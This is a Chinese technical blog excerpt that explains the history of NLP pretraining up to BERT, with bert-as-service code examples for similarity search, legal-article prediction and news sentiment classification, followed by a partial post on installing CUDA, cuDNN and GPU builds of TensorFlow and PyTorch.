设计好网络结构以后，对于图像来说一般是 CNN 的多层叠加网络结构，可以先用某个训练集合比如训练集合 A 或者训练集合 B 对这个网络进行预先训练，在 A 任务上或者 B 任务上学会网络参数，然后存起来以备后用。假设我们面临第三个任务 C，网络结构采取相同的网络结构，在比较浅的几层 CNN 结构，网络参数初始化的时候可以加载 A 任务或者 B 任务学习好的参数，其它 CNN 高层参数仍然随机初始化。 之后我们用 C 任务的训练数据来训练网络，此时有两种做法，一种是浅层加载的参数在训练 C 任务过程中不动，这种方法被称为 “Frozen”; 另外一种是底层网络参数尽管被初始化了，在 C 任务训练过程中仍然随着训练的进程不断改变，这种一般叫 “Fine-Tuning”，顾名思义，就是更好地把参数进行调整使得更适应当前的 C 任务。 对于层级的 CNN 结构来说，不同层级的神经元学习到了不同类型的图像特征，由底向上特征形成层级结构。 如果我们手头是个人脸识别任务，训练好网络后，把每层神经元学习到的特征可视化肉眼看一看每层学到了啥特征，你会看到最底层的神经元学到的是线段等特征，图示的第二个隐层学到的是人脸五官的轮廓，第三层学到的是人脸的轮廓，通过三步形成了特征的层级结构，越是底层的特征越是所有不论什么领域的图像都会具备的比如边角线弧线等底层基础特征，越往上抽取出的特征越与手头任务相关。 正因为此，所以预训练好的网络参数，尤其是底层的网络参数抽取出特征跟具体任务越无关，越具备任务的通用性，所以这是为何一般用底层预训练好的参数初始化新任务网络参数的原因。 而高层特征跟任务关联较大，实际可以不用使用，或者采用 Fine-tuning 用新数据集合清洗掉高层无关的特征抽取器。 一般我们用 ImageNet 来做网络的预训练，主要有两点，一方面 ImageNet 是图像领域里有超多事先标注好训练数据的数据集合，分量足是个很大的优势，量越大训练出的参数越靠谱；另外一方面因为 ImageNet 有 1000 类，类别多，算是通用的图像数据，跟领域没太大关系，所以通用性好。 Word Embedding现有的机器学习方法往往无法直接处理文本数据，因此需要找到合适的方法，将文本数据转换为数值型数据，由此引出了 Word Embedding 的概念，Word Embedding 算法携带了语义信息且维度经过压缩便于运算。 语言模型 为了能够量化地衡量哪个句子更像一句人话，可以设计如上图所示函数，核心函数 P 的思想是根据句子里面前面的一系列前导单词预测后面单词的概率大小。 神经网络语言模型 NNLM 是从语言模型出发 (即计算概率角度)，构建神经网络针对目标函数对模型进行最优化，训练的起点是使用神经网络去搭建语言模型实现词的预测任务，并且在优化过程后模型的副产品就是词向量。 Word2Vec2013 年最火的用语言模型做 Word Embedding 的工具是 Word2Vec，后来又出了 Glove。 Word2Vec 有两种训练方法，一种叫 CBOW，核心思想是从一个句子里面把一个词抠掉，用这个词的上文和下文去预测被抠掉的这个词； 第二种叫做 Skip-gram，和 CBOW 正好反过来，输入某个单词，要求网络预测它的上下文单词。 使用 Word2Vec 或者 Glove，通过做语言模型任务，就可以获得每个单词的 Word Embedding。 Word Embedding 的使用 我们有个 NLP 的下游任务，比如 QA，就是问答问题，所谓问答问题，指的是给定一个问题 X，给定另外一个句子 Y, 要判断句子 Y 是否是问题 X 的正确答案。 句子中每个单词以 Onehot 形式作为输入，然后乘以 Word Embedding 矩阵 Q，就直接取出单词对应的 Word Embedding。 使用 Word Embedding 等价于把 Onehot 层到 embedding 层的网络用预训练好的参数矩阵 Q 初始化。 这跟前面讲的图像领域的低层预训练过程其实是一样的，区别无非 Word Embedding 只能初始化第一层网络参数，再高层的参数就无能为力了。 下游 NLP 任务在使用 Word Embedding 的时候也类似图像有两种做法，一种是 Frozen，就是 Word Embedding 那层网络参数固定不动；另外一种是 Fine-Tuning，就是使用新的训练集合训练，在训练过程中，更新 Word Embedding 这层参数。 Word Embedding 的问题 是多义词问题。多义词是自然语言中经常出现的现象，也是语言灵活性和高效性的一种体现。 多义词对 Word Embedding 来说有什么负面影响？如上图所示，比如多义词 Bank，有两个常用含义，但是 Word Embedding 在对 bank 这个单词进行编码的时候，是区分不开这两个含义的，因为它们尽管上下文环境中出现的单词不同，但是在用语言模型训练的时候，不论什么上下文的句子经过 word2vec，都是预测相同的单词 bank，而同一个单词占的是同一行的参数空间，这导致两种不同的上下文信息都会编码到相同的 word embedding 空间里去。所以 word embedding 无法区分多义词的不同语义，这就是它的一个比较严重的问题。 从 Word Embedding 到 ELMOELMO 是 “Embedding from Language Models” 的简称。在此之前的 Word Embedding 本质上是个静态的方式，所谓静态指的是训练好之后每个单词的表达就固定住了，以后使用的时候，不论新句子上下文单词是什么，这个单词的 Word Embedding 不会跟着上下文场景的变化而改变。 ELMO 的本质思想是：事先用语言模型学好一个单词的 Word Embedding，此时多义词无法区分，实际使用 Word Embedding 的时候，单词已经具备了特定的上下文了，这个时候可以根据上下文单词的语义去调整单词的 Word Embedding 表示，这样经过调整后的 Word Embedding 更能表达在这个上下文中的具体含义，自然也就解决了多义词的问题了。所以 ELMO 本身的思路是根据当前上下文对 Word Embedding 动态调整。 ELMO 采用了典型的两阶段过程，第一个阶段是利用语言模型进行预训练；第二个阶段是在做下游任务时，从预训练网络中提取对应单词的网络各层的 Word Embedding 作为新特征补充到下游任务中。 使用这个网络结构利用大量语料做语言模型任务就能预先训练好这个网络，如果训练好这个网络后，输入一个新句子 ，句子中每个单词都能得到对应的三个 Embedding: 最底层是单词的 Word Embedding，往上走是第一层双向 LSTM 中对应单词位置的 Embedding，这层编码单词的句法信息更多一些；再往上走是第二层 LSTM 中对应单词位置的 Embedding，这层编码单词的语义信息更多一些。也就是说，ELMO 的预训练过程不仅仅学会单词的 Word Embedding，还学会了一个双层双向的 LSTM 网络结构，而这两者后面都有用。 上图展示了下游任务的使用过程，比如我们的下游任务仍然是 QA 问题，此时对于问句 X，我们可以先将句子 X 作为预训练好的 ELMO 网络的输入，这样句子 X 中每个单词在 ELMO 网络中都能获得对应的三个 Embedding，之后给予这三个 Embedding 中的每一个 Embedding 一个权重 a，这个权重可以学习得来，根据各自权重累加求和，将三个 Embedding 整合成一个。然后将整合后的这个 Embedding 作为 X 句在自己任务的那个网络结构中对应单词的输入，以此作为补充的新特征给下游任务使用。对于上图所示下游任务 QA 中的回答句子 Y 来说也是如此处理。因为 ELMO 给下游提供的是每个单词的特征形式，所以这一类预训练的方法被称为 “Feature-based Pre-Training”。 从 Word Embedding 到 GPT GPT 是 “Generative Pre-Training” 的简称，从名字看其含义是指的生成式的预训练。GPT 也采用两阶段过程，第一个阶段是利用语言模型进行预训练，第二阶段通过 Fine-tuning 的模式解决下游任务。 TransformerTransformer 是个叠加的 “自注意力机制（Self Attention）” 构成的深度网络，是目前 NLP 里最强的特征提取器。 Transformer 是一种基于 encoder-decoder 结构的模型。在机器翻译任务上的表现超过了 RNN，CNN，只用 encoder-decoder 和 attention 机制就能达到很好的效果，最大的优点是可以高效地并行化。 自注意力机制模型人类视觉通过快速扫描全局图像，获得需要重点关注的目标区域，也就是一般所说的注意力焦点，而后对这一区域投入更多注意力资源，以获取更多所需要关注目标的细节信息，而抑制其他无用信息。 这是人类利用有限的注意力资源从大量信息中快速筛选出高价值信息的手段. 深度学习中的注意力机制从本质上讲和人类的选择性视觉注意力机制类似，核心目标也是从众多信息中选择出对当前任务目标更关键的信息。 Attention 在同一个英语句子内单词间产生的联系。 Self Attention 可以捕获同一个句子中单词之间的一些句法特征（比如图展示的有一定距离的短语结构）或者语义特征（比如图展示的 its 的指代对象 Law）。 很明显，引入 Self Attention 后会更容易捕获句子中长距离的相互依赖的特征，因为如果是 RNN 或者 LSTM，需要依次序序列计算，对于远距离的相互依赖的特征，要经过若干时间步步骤的信息累积才能将两者联系起来，而距离越远，有效捕获的可能性越小。 SelfAttention 在计算过程中会直接将句子中任意两个单词的联系通过一个计算步骤直接联系起来，所以远距离依赖特征之间的距离被极大缩短，有利于有效地利用这些特征。除此外，SelfAttention 对于增加计算的并行性也有直接帮助作用。这是为何 Self Attention 逐渐被广泛使用的主要原因。 GPT 如何使用 把任务的网络结构改造成和 GPT 的网络结构是一样的。然后，在做下游任务的时候，利用第一步预训练好的参数初始化 GPT 的网络结构，对网络参数进行 Fine-tuning，使得这个网络更适合解决手头的问题。 从 GPT 和 ELMO 及 word2Vec 到 Bert Bert 采用和 GPT 完全相同的两阶段模型，首先是语言模型预训练；其次是使用 Fine-Tuning 模式解决下游任务。和 GPT 的最主要不同在于在预训练阶段采用了类似 ELMO 的双向语言模型，当然另外一点是语言模型的数据规模要比 GPT 大。 BERT 本质上是一个自编码（Auto Encoder）语言模型，为了能见多识广，BERT 使用 3 亿多词语训练，采用 12 层双向 Transformer 架构。注意，BERT 只使用了 Transformer 的编码器部分，可以理解为 BERT 旨在学习庞大文本的内部语义信息。 具体训练目标之一，是被称为掩码语言模型的 MLM。即输入一句话，给其中 15% 的字打上 “mask” 标记，经过 Embedding 输入和 12 层 Transformer 深度理解，来预测 “mask” 标记的地方原本是哪个字。 input: 欲把西[mask]比西子，淡[mask]浓抹总相宜output: 欲把西[湖]比西子，淡[妆]浓抹总相宜 例如我们输入 “欲把西 [mask] 比西子，淡 [mask] 浓抹总相宜” 给 BERT，它需要根据没有被 “mask” 的上下文，预测出掩盖的地方是 “湖” 和 “妆”。 MLM 任务的灵感来自于人类做完形填空。挖去文章中的某些片段，需要通过上下文理解来猜测这些被掩盖位置原先的内容。 训练目标之二，是预测输入的两句话之间是否为上下文（NSP）的二分类问题。继续输入 “欲把西 [湖] 比西子，淡 [妆] 浓抹总相宜”，BERT 将预测这两句话的组合是否合理（这个例子是 “yes”）。（随后的研究者对预训练模型探索中证明，NSP 任务过于简单，对语言模型的训练作用并不是很大） 通过这两个任务和大规模语料训练，BERT 语言模型可以很好学习到文本之间的蕴含的关系。 NLP 的四大任务 绝大部分 NLP 问题可以归入上图所示的四类任务中： 一类是序列标注，这是最典型的 NLP 任务，比如中文分词，词性标注，命名实体识别，语义角色标注等都可以归入这一类问题，它的特点是句子中每个单词要求模型根据上下文都要给出一个分类类别。 第二类是分类任务，比如我们常见的文本分类，情感计算等都可以归入这一类。它的特点是不管文章有多长，总体给出一个分类类别即可。 第三类任务是句子关系判断，比如 Entailment，QA，语义改写，自然语言推理等任务都是这个模式，它的特点是给定两个句子，模型判断出两个句子是否具备某种语义关系； 第四类是生成式任务，比如机器翻译，文本摘要，写诗造句，看图说话等都属于这一类。它的特点是输入文本内容后，需要自主生成另外一段文字。 根据任务选择不同的预训练数据初始化 encoder 和 decoder 即可。这是相当直观的一种改造方法。当然，也可以更简单一点，比如直接在单个 Transformer 结构上加装隐层产生输出也是可以的。不论如何，从这里可以看出，NLP 四大类任务都可以比较方便地改造成 Bert 能够接受的方式。这其实是 Bert 的非常大的优点，这意味着它几乎可以做任何 NLP 的下游任务，具备普适性，这是很强的。 BERT 的应用案例下载 bert 预训练模型Google - BERT 源码 https://github.com/google-research/bert 下载预训练模型。 我这里选择中文的 BERT，下载解压后的目录如下： 安装 bert-as-service顾名思义，将 BERT 模型直接封装成一个服务，堪称上手最快的 BERT 工具。作者是肖涵博士。 使用 pip 安装： pip install bert-serving-server # serverpip install bert-serving-client # client, independent of `bert-serving-server 开启 BERT service bert-serving-start -model_dir E:\\nlp\\chinese_L-12_H-768_A-12 使用客户端获取句子编码 案例一 查找最相近的句子根据 bert 获取句子向量，并计算出句子之间的余弦相似度，找出最相似的句子。 # 导入bert客户端from bert_serving.client import BertClientimport numpy as npclass SimilarModel: def __init__(self): self.bert_client = BertClient() def close_bert(self): self.bert_client .close() def get_sentence_vec(self,sentence): ''' 根据bert获取句子向量 :param sentence: :return: ''' return self.bert_client .encode([sentence])[0] def cos_similar(self,sen_a_vec, sen_b_vec): ''' 计算两个句子的余弦相似度 :param sen_a_vec: :param sen_b_vec: :return: ''' vector_a = np.mat(sen_a_vec) vector_b = np.mat(sen_b_vec) num = float(vector_a * vector_b.T) denom = np.linalg.norm(vector_a) * np.linalg.norm(vector_b) cos = num / denom return cosif __name__=='__main__': # 从候选集condinates 中选出与sentence_a 最相近的句子 condinates = ['为什么天空是蔚蓝色的','太空为什么是黑的？','天空怎么是蓝色的','明天去爬山如何'] sentence_a = '天空为什么是蓝色的' bert_client = SimilarModel() max_cos_similar = 0 most_similar_sentence = '' for sentence_b in condinates: sentence_a_vec = bert_client.get_sentence_vec(sentence_a) sentence_b_vec = bert_client.get_sentence_vec(sentence_b) cos_similar = bert_client.cos_similar(sentence_a_vec,sentence_b_vec) if cos_similar &gt; max_cos_similar: max_cos_similar = cos_similar most_similar_sentence = sentence_b print('最相似的句子：',most_similar_sentence) bert_client .close_bert() # 为什么天空是蔚蓝色的 案例二 简单模糊搜索将问题编码为向量： from bert_serving.client import BertClientdoc_vecs = bc.encode(questions) 最后，我们准备接收新查询并针对现有问题执行简单的 “模糊” 搜索。为此，每次出现新查询时，我们都将其编码为向量，并使用来计算其点积 doc_vecs。将结果递减排序；并返回前 k 个类似的问题，如下所示： while True: query = input('your question: ') query_vec = bc.encode([query])[0] # compute normalized dot product as score score = np.sum(query_vec * doc_vecs, axis=1) / np.linalg.norm(doc_vecs, axis=1) topk_idx = np.argsort(score)[::-1][:topk] print('top %d questions similar to \"%s\"' % (topk, query)) for idx in topk_idx: print('&gt; %s\\t%s' % ('%.1f' % score[idx], questions[idx])) 现在运行代码并键入查询，查看此搜索引擎如何处理模糊匹配： 案例三 法条推荐介绍根据刑事法律文书中的案情描述和事实部分，预测本案涉及的相关法条； 数据说明所使用的数据集是来自 “中国裁判文书网” 公开的刑事法律文书，其中每份数据由法律文书中的案情描述和事实部分组成，同时也包括每个案件所涉及的法条、被告人被判的罪名和刑期长短等要素。 数据集共包括 268 万刑法法律文书，共涉及 202 条罪名，183 条法条，刑期长短包括 0-25 年、无期、死刑。 数据利用 json 格式储存，每一行为一条数据，每条数据均为一个字典。 fact: 事实描述 meta: 标注信息，标注信息中包括: criminals: 被告 (数据中均只含一个被告) punish_of_money: 罚款 (单位：元) accusation: 罪名 relevant_articles: 相关法条 term_of_imprisonment: 刑期 刑期格式 (单位：月) death_penalty: 是否死刑 life_imprisonment: 是否无期 imprisonment: 有期徒刑刑期 这里是简单的一条数据展示: { \"fact\": \"2015年11月5日上午，被告人胡某在平湖市乍浦镇的嘉兴市多凌金牛制衣有限公司车间内，与被害人孙某因工作琐事发生口角，后被告人胡某用木制坐垫打伤被害人孙某左腹部。经平湖公安司法鉴定中心鉴定：孙某的左腹部损伤已达重伤二级。\", \"meta\": { \"relevant_articles\": [234], \"accusation\": [\"故意伤害\"], \"criminals\": [\"胡某\"], \"term_of_imprisonment\": { \"death_penalty\": false, \"imprisonment\": 12, \"life_imprisonment\": false } }} 实现流程进入 OpenCLaP 下载刑事文书 BERT，并运行 bert-as-service 服务。 创建一个连接到 BertServer 的 BertClientfrom bert_serving.client import ConcurrentBertClientbc = ConcurrentBertClient() 获取编码向量和标签def get_encodes(x): # x 是 batch_size 大小的行 ，每行都是一个json对象 samples = [json.loads(l) for l in x] # 一个 batch_size 大小的连续样本 text = [s['fact'][:50] + s['fact'][-50:] for s in samples] # 获取案情描述和事实部分文字 features = bc.encode(text) # 使用bert将字符串列表编码为向量列表 # 随机选择一个标签 labels = [[str(random.choice(s['meta']['relevant_articles']))] for s in samples] return features, labels 构建 TensorFlow DNN 模型的分类器estimator = DNNClassifier( hidden_units=[512], # 每层隐藏单元的 Iterable 数.所有层都完全连接. feature_columns=[tf.feature_column.numeric_column('feature', shape=(768,))], # 包含模型使用的所有特征列的iterable.集合中的所有项目都应该是从 _FeatureColumn 派生的类的实例. n_classes=len(laws), # 标签类的数量.默认为 2,即二进制分类,必须大于1. config=run_config, # RunConfig 对象配置运行时设置 label_vocabulary=laws_str, # 字符串列表,表示可能的标签值.如果给定,标签必须是字符串类型,并且 label_vocabulary 具有任何值.如果没有给出,这意味着标签已经被编码为整数或者在[0,1]内浮动, n_classes=2 ；并且被编码为{0,1,...,n_classes-1}中的整数值,n_classes&gt; 2.如果没有提供词汇表并且标签是字符串,也会出现错误. optimizer=tf.train.AdamOptimizer(),# 优化函数 dropout=0.1 # 当不是 None 时,我们将放弃给定坐标的概率. ) 训练和评估# 输入函数input_fn = lambda fp: (tf.data.TextLineDataset(fp) # TextLineDataset接口提供了一种方法从数据文件中读取。只需要提供文件名（1个或者多个）。这个接口会自动构造一个dataset，类中保存的元素：文中一行，就是一个元素，是string类型的tenser。 # map将分别对Dataset的每个元素执行一个函数，而apply将立即对整个Dataset执行一个函数 .apply(tf.contrib.data.shuffle_and_repeat(buffer_size=10000)) # repeat重复和shuffle重排 tf.data.Dataset.repeat 转换会将输入数据重复有限（或无限）次；每次数据重复通常称为一个周期。tf.data.Dataset.shuffle 转换会随机化数据集样本的顺序。 # 将此数据集的连续元素合并为批。 .batch(batch_size) # tf.py_func()接收的是tensor，然后将其转化为numpy array送入我们自定义的get_encodes函数，最后再将get_encodes函数输出的numpy array转化为tensor返回 .map(lambda x: tf.py_func(get_encodes, [x], [tf.float32, tf.string], name='bert_client'), num_parallel_calls=num_parallel_calls) .map(lambda x, y: ({'feature': x}, y)) .prefetch(20)) # 创建一个从该数据集中预提取元素的Dataset 大多数数据集输入管道应以调用结束prefetch。这允许在处理当前元素时准备以后的元素。这通常会提高延迟和吞吐量，但以使用额外的内存存储预取元素为代价。# TrainSpec确定训练的输入数据以及持续时间train_spec = TrainSpec(input_fn=lambda: input_fn(train_fp))# EvalSpec结合了训练模型的计算和输出的详细信息.计算由计算指标组成,用以判断训练模型的性能.输出将训练好的模型写入外部存储.eval_spec = EvalSpec(input_fn=lambda: input_fn(eval_fp), throttle_secs=0) # 第一次评估发生在throttle_secs秒后# 训练和评估train_and_evaluate(estimator, train_spec, eval_spec) 运行 tensorboard 可视化训练过程tensorboard --logdir=law-model 案例四 互联网新闻情感分析介绍对新闻情绪进行分类，0 代表正面情绪、1 代表中性情绪、2 代表负面情绪。 数据说明 Field Type Description id String 新闻 ID News ID text String 新闻正文内容 Content of news text label String 新闻情感标签 Emotional label in news 实现流程加载数据集def load_dataset(filepath): dataset_list = [] f = open(filepath, 'r', encoding='utf-8') r = csv.reader(f) for item in r: if r.line_num == 1: continue dataset_list.append(item) # 空元素补0 for item in dataset_list: if item[1].strip() == '': item[1] = '0' return dataset_list 网络类，全连接层class Net(nn.Module): # in_dim=768, out_dim=3 def __init__(self, in_dim, out_dim): super(Net, self).__init__() self.linear1 = nn.Linear(in_dim, 500) self.linear2 = nn.Linear(500, 400) self.linear3 = nn.Linear(400, 300) self.linear4 = nn.Linear(300, 200) self.linear5 = nn.Linear(200, out_dim) def forward(self, x): x = self.linear1(x) x = self.linear2(x) x = self.linear3(x) x = self.linear4(x) x = self.linear5(x) return x 计算每个 batch 的准确率def batch_accuracy(pre, label): pre = pre.argmax(dim=1) correct = torch.eq(pre, label).sum().float().item() accuracy = correct / float(len(label)) return accuracy 训练for epoch in range(EPOCHS): step = -1 for text, label in train_loader: # tuple转list text = list(text) label = list(label) label = list(map(int, label)) # 使用中文bert，生成句向量 sen_vec = bertclient.encode(text) sen_vec = torch.tensor(sen_vec) label = torch.LongTensor(label) label = label.cuda() # 输入到网络中，反向传播 pre = net(sen_vec).cuda() loss = criterion(pre, label) optimizer.zero_grad() loss.backward() optimizer.step() # 更新loss曲线，并计算准确率 step = step + 1 flag = flag + 1 if step % 100 == 0: acc = batch_accuracy(pre, label) print('epoch:{} | batch:{} | acc:{} | loss:{}'.format(epoch, step, acc, loss.item())) 测试net.load_state_dict(torch.load('net.pt'))test_result = []for item in test_dataset: sen_vec = bertclient.encode([item[1]]) sen_vec = torch.tensor(sen_vec) with torch.no_grad(): pre = net(sen_vec).cuda() pre = pre.argmax(dim=1) pre = pre.item() test_result.append([item[0], pre]) # 写入csv文件 df = pd.DataFrame(test_result) df.to_csv('test_result.csv',index=False, header=['id', 'label']) 训练可视化 控制台输出 参考文献从 Word Embedding 到 Bert 模型 — 自然语言处理中的预训练技术发展史 Transformer 深度学习中的注意力模型 谷歌的 bert 肖涵博士的 bert-as-service Serving-Google-BERT-in-Production-using-Tensorflow-and-ZeroMQ CAIL2018 数据集 刑事文书 BERT: tensorboard 使用详解 Visdom 可视化工具 互联网新闻情感分析","categories":[{"name":"NLP","slug":"NLP","permalink":"https://blog.mhuig.top/categories/NLP/"}],"tags":[{"name":"NLP","slug":"NLP","permalink":"https://blog.mhuig.top/tags/NLP/"}]},{"title":"尝试使用 GPU 加速计算","slug":"data-mining/尝试使用GPU加速计算","date":"2020-10-11T01:11:44.000Z","updated":"2020-10-11T01:11:44.000Z","comments":true,"path":"p/56213be8/","link":"","permalink":"https://blog.mhuig.top/p/56213be8/","excerpt":"大规模训练，gpu 和 cpu 速度差别很大。","text":"大规模训练，gpu 和 cpu 速度差别很大。 概述GPU CPU (Central Processing Unit) 即中央处理器。 GPU (Graphics Processing Unit) 即图形处理器。 当程序员为 CPU 编写程序时，他们倾向于利用复杂的逻辑结构优化算法从而减少计算任务的运行时间，即 Latency。当程序员为 GPU 编写程序时，则利用其处理海量数据的优势，通过提高总的数据吞吐量（Throughput）来掩盖 Lantency。 其中绿色的是计算单元，橙红色的是存储单元，橙黄色的是控制单元。 首先你需要硬件支持，一块能够支持 GPU 加速计算的显卡，这里以 NVIDIA 的 GPU 为例。 CUDACUDA（Compute Unified Device Architecture），是显卡厂商 NVIDIA 推出的运算平台。 CUDA™是一种由 NVIDIA 推出的通用并行计算架构，该架构使 GPU 能够解决复杂的计算问题。 CUDA 提供了一种可扩展的编程模型，使得已经写好的 CUDA 代码可以在任意数量核心的 GPU 上运行。只有运行时，系统才知道物理处理器的数量。 CUDNNNVIDIA cuDNN 是用于深度神经网络的 GPU 加速库。它强调性能、易用性和低内存开销。NVIDIA cuDNN 可以集成到更高级别的机器学习框架中，如加州大学伯克利分校的流行 CAFFE 软件。简单的，插入式设计可以让开发人员专注于设计和实现神经网络模型，而不是调整性能，同时还可以在 GPU 上实现高性能现代并行计算。 支持 GPU 的计算框架Tensorflow-GPU安装教程参考 https://tensorflow.google.cn/install 需要注意的是 严格对应 tensorflow_gpu、Python、 编译器、 cuDNN、CUDA 的版本关系。 相关对应关系 windows 平台可参考: Tensorflow 文档 显卡驱动与 Cuda 版本之间的对应关系 cuda 与 cudnn 版本之间的对应关系 打开 NVIDIA 控制面板进入系统信息，可查看当前支持的 CUDA 驱动版本。 这里的 CUDA 驱动版本是指你只可以安装该版本及以下版本的 CUDA。 根据实际情况，笔者计划使用的环境是： tensorflow_gpu-1.14.0 python 3.7 MSVC 2017 cuDNN 7.4.2.24 CUDA 10.0.130 安装 CUDA进入 cuda-toolkit-archive 选择需要的 CUDA Toolkit 版本下载安装即可。 笔者选择 network 安装方式。注意第一个路径是选择临时解压路径。选择自定义安装，取消安装不需要的应用，如 NVIDIA GeForce Experience。 在 cmd 中执行： nvcc -V 需要注意配置相关环境变量。 安装 CUDNN进入 cudnn-archive 选择需要的 CUDA Toolkit 版本下载解压即可。 笔者将 CUDA 默认安装在 C:\\Program Files\\NVIDIA GPU Computing Toolkit\\CUDA\\v10.0 将 CUDNN 解压到 C:\\Program Files\\NVIDIA GPU Computing Toolkit\\CUDA\\v10.0 中即可。 或者配置单独的环境变量。 安装 Tensorflow-GPU如果之前安装过 cpu 版本的 Tensorflow 需要进行卸载. 若在虚拟环境中使用 conda 安装，conda 会自动安装相关的 cuda 和 cudnn 依赖。 conda install tensorflow-gpu 下面给出一段 GPU 测试程序： import timeimport tensorflow as tfbegin = time.time()with tf.device('/gpu:0'): rand_t = tf.random_uniform([50,50],0,10,dtype=tf.float32,seed=0) a = tf.Variable(rand_t) b = tf.Variable(rand_t) c = tf.matmul(a,b) init = tf.global_variables_initializer()sess = tf.Session(config=tf.ConfigProto(log_device_placement=True)) #强制使用GPUsess.run(init)print(sess.run(c))end = time.time()print(end-begin,'s') 运行结果: 2020-10-11 09:36:56.713905: I tensorflow/core/platform/cpu_feature_guard.cc:142] Your CPU supports instructions that this TensorFlow binary was not compiled to use: AVX AVX22020-10-11 09:36:56.742138: I tensorflow/stream_executor/platform/default/dso_loader.cc:42] Successfully opened dynamic library nvcuda.dll2020-10-11 09:36:57.193243: I tensorflow/core/common_runtime/gpu/gpu_device.cc:1640] Found device 0 with properties:name: GeForce GTX 960M major: 5 minor: 0 memoryClockRate(GHz): 1.176pciBusID: 0000:01:00.02020-10-11 09:36:57.199952: I tensorflow/stream_executor/platform/default/dlopen_checker_stub.cc:25] GPU libraries are statically linked, skip dlopen check.2020-10-11 09:36:57.204946: I tensorflow/core/common_runtime/gpu/gpu_device.cc:1763] Adding visible gpu devices: 02020-10-11 09:36:58.622428: I tensorflow/core/common_runtime/gpu/gpu_device.cc:1181] Device interconnect StreamExecutor with strength 1 edge matrix:2020-10-11 09:36:58.626880: I tensorflow/core/common_runtime/gpu/gpu_device.cc:1187] 02020-10-11 09:36:58.630073: I tensorflow/core/common_runtime/gpu/gpu_device.cc:1200] 0: N2020-10-11 09:36:58.633910: I tensorflow/core/common_runtime/gpu/gpu_device.cc:1326] Created TensorFlow device (/job:localhost/replica:0/task:0/device:GPU:0 with 1382 MB memory) -&gt; physical GPU (device: 0, name: GeForce GTX 960M, pci bus id: 0000:01:00.0, compute capability: 5.0)Device mapping:/job:localhost/replica:0/task:0/device:GPU:0 -&gt; device: 0, name: GeForce GTX 960M, pci bus id: 0000:01:00.0, compute capability: 5.02020-10-11 09:36:58.657797: I tensorflow/core/common_runtime/direct_session.cc:296] Device mapping:/job:localhost/replica:0/task:0/device:GPU:0 -&gt; device: 0, name: GeForce GTX 960M, pci bus id: 0000:01:00.0, compute capability: 5.0random_uniform/RandomUniform: (RandomUniform): /job:localhost/replica:0/task:0/device:GPU:02020-10-11 09:36:58.683509: I tensorflow/core/common_runtime/placer.cc:54] random_uniform/RandomUniform: (RandomUniform)/job:localhost/replica:0/task:0/device:GPU:0random_uniform/sub: (Sub): /job:localhost/replica:0/task:0/device:GPU:02020-10-11 09:36:58.690684: I tensorflow/core/common_runtime/placer.cc:54] random_uniform/sub: (Sub)/job:localhost/replica:0/task:0/device:GPU:0random_uniform/mul: (Mul): /job:localhost/replica:0/task:0/device:GPU:02020-10-11 09:36:58.705871: I tensorflow/core/common_runtime/placer.cc:54] random_uniform/mul: (Mul)/job:localhost/replica:0/task:0/device:GPU:0random_uniform: (Add): /job:localhost/replica:0/task:0/device:GPU:02020-10-11 09:36:58.719880: I tensorflow/core/common_runtime/placer.cc:54] random_uniform: (Add)/job:localhost/replica:0/task:0/device:GPU:0Variable: (VariableV2): /job:localhost/replica:0/task:0/device:GPU:02020-10-11 09:36:58.738611: I tensorflow/core/common_runtime/placer.cc:54] Variable: (VariableV2)/job:localhost/replica:0/task:0/device:GPU:0Variable/Assign: (Assign): /job:localhost/replica:0/task:0/device:GPU:02020-10-11 09:36:58.749906: I tensorflow/core/common_runtime/placer.cc:54] Variable/Assign: (Assign)/job:localhost/replica:0/task:0/device:GPU:0Variable/read: (Identity): /job:localhost/replica:0/task:0/device:GPU:02020-10-11 09:36:58.759648: I tensorflow/core/common_runtime/placer.cc:54] Variable/read: (Identity)/job:localhost/replica:0/task:0/device:GPU:0Variable_1: (VariableV2): /job:localhost/replica:0/task:0/device:GPU:02020-10-11 09:36:58.769854: I tensorflow/core/common_runtime/placer.cc:54] Variable_1: (VariableV2)/job:localhost/replica:0/task:0/device:GPU:0Variable_1/Assign: (Assign): /job:localhost/replica:0/task:0/device:GPU:02020-10-11 09:36:58.776819: I tensorflow/core/common_runtime/placer.cc:54] Variable_1/Assign: (Assign)/job:localhost/replica:0/task:0/device:GPU:0Variable_1/read: (Identity): /job:localhost/replica:0/task:0/device:GPU:02020-10-11 09:36:58.792460: I tensorflow/core/common_runtime/placer.cc:54] Variable_1/read: (Identity)/job:localhost/replica:0/task:0/device:GPU:0MatMul: (MatMul): /job:localhost/replica:0/task:0/device:GPU:02020-10-11 09:36:58.808352: I tensorflow/core/common_runtime/placer.cc:54] MatMul: (MatMul)/job:localhost/replica:0/task:0/device:GPU:0init: (NoOp): /job:localhost/replica:0/task:0/device:GPU:02020-10-11 09:36:58.823256: I tensorflow/core/common_runtime/placer.cc:54] init: (NoOp)/job:localhost/replica:0/task:0/device:GPU:0random_uniform/shape: (Const): /job:localhost/replica:0/task:0/device:GPU:02020-10-11 09:36:58.838355: I tensorflow/core/common_runtime/placer.cc:54] random_uniform/shape: (Const)/job:localhost/replica:0/task:0/device:GPU:0random_uniform/min: (Const): /job:localhost/replica:0/task:0/device:GPU:02020-10-11 09:36:58.853758: I tensorflow/core/common_runtime/placer.cc:54] random_uniform/min: (Const)/job:localhost/replica:0/task:0/device:GPU:0random_uniform/max: (Const): /job:localhost/replica:0/task:0/device:GPU:02020-10-11 09:36:58.868493: I tensorflow/core/common_runtime/placer.cc:54] random_uniform/max: (Const)/job:localhost/replica:0/task:0/device:GPU:0[[1405.2429 1441.7413 1364.38 ... 1480.2251 1279.0061 1620.0938 ] [1232.6589 1344.4458 1169.7095 ... 1205.1284 1040.5566 1421.967 ] [1209.3164 1180.3206 1158.1396 ... 1200.0344 1014.03217 1222.5107 ] ... [1298.9648 1262.9236 1205.6918 ... 1396.479 1090.7253 1437.241 ] [1118.2473 1209.0151 1077.7229 ... 1180.7025 1076.4694 1139.742 ] [1200.8866 1297.2266 1260.01 ... 1289.4297 1165.2448 1433.4183 ]]2.6225805282592773 s 可以看到 GPU 已经在工作了。 同时可以在 cmd 中运行 nvidia-smi【C:\\Program Files\\NVIDIA Corporation\\NVSMInvidia-smi.exe】监控 GPU 使用情况和更改 GPU 状态。 Keras-GPUconda 直接安装即可，注意需要先安装 tensorflow-gpu。 conda install keras-gpu Pytorch-GPU再也找不到比官网更详尽的文档了，请直接参考 https://pytorch.org/。 conda install pytorch torchvision cudatoolkit=10.0 GPU 测试程序： import torchflag = torch.cuda.is_available()print(flag)ngpu= 1# Decide which device we want to run ondevice = torch.device(\"cuda:0\" if 